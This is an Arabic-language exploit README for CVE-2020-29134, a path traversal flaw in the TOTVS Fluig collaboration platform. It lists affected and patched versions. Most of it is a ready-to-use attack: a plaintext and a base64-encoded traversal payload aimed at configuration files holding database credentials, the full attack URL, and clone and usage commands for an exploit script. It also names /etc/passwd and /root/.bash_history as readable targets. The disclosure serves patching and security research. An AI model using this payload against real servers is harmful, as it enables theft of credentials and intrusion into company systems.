منصة Totvs Fluig

 Fluig هي منصة الإنتاجية والتعاون التي تتكامل مع نظام ERP،
 ومع أنظمة شركتك الأخرى لإحداث ثورة في طريقة عملك أنت وفريقك.

CVE-2020-29134

 تسمح منصة TOTVS Fluig باجتياز المسار عبر معامل مُرمّز في base64.
 عند استغلالها، تتيح هذه الثغرة قراءة ملفات XML الحساسة التي تحتوي على
 بيانات للوصول إلى قاعدة البيانات، وفي بعض الحالات، اتصالات LDAP وتكاملات نظام ERP.
 بالإضافة إلى ذلك، من الممكن أيضًا استكشاف ملفات النظام، مثل /etc/passwd و /root/.bash_history
 

الإصدارات المتأثرة

--
<== Fluig Lake 1.7.0
<== Fluig 1.6.5
<== Fluig 1.6.4
...

الإصدارات المُصحّحة

<== Fluig Lake 1.7.0-210303 (تم التصحيح)
<== Fluig 1.6.5-210308 (تم التصحيح)
<== Fluig 1.6.4-210308 (تم التصحيح)

بناء الحمولة

متجه الهجوم

 http://fluig.host.com/volume/stream/Rmx1aWc=/

اجتياز المسار بنص عادي

 ?t=1&vol=Default&id=1&ver=1000&file=../../../../../../../../../../../../../fluig/appserver/domain/configuration/domain.xml

اجتياز المسار بترميز base64

 P3Q9MSZ2b2w9RGVmYXVsdCZpZD0xJnZlcj0xMDAwJmZpbGU9Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZmx1aWcvYXBwc2VydmVyL2RvbWFpbi9jb25maWd1cmF0aW9uL2RvbWFpbi54bWw=

الحمولة

 http://HOST.FLUIG.COM/volume/stream/Rmx1aWc=/P3Q9MSZ2b2w9RGVmYXVsdCZpZD0xJnZlcj0xMDAwJmZpbGU9Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZmx1aWcvYXBwc2VydmVyL2RvbWFpbi9jb25maWd1cmF0aW9uL2RvbWFpbi54bWw=
 

مرجع Exploit-DB

 https://www.exploit-db.com/exploits/49622

 

استنساخ المستودع

 # git clone https://github.com/lucxssouza/CVE-2020-29134.git
 # cd CVE-2020-29134
 # chmod +x xfluig.sh

الاستخدام

 مثال 1: ./xfluig.sh http://fluig.host.com REQUESTS_WFUZZ (عدد الطلبات التي يولدها wfuzz)

 مثال 2: ./xfluig.sh http://fluig.host.com:PORT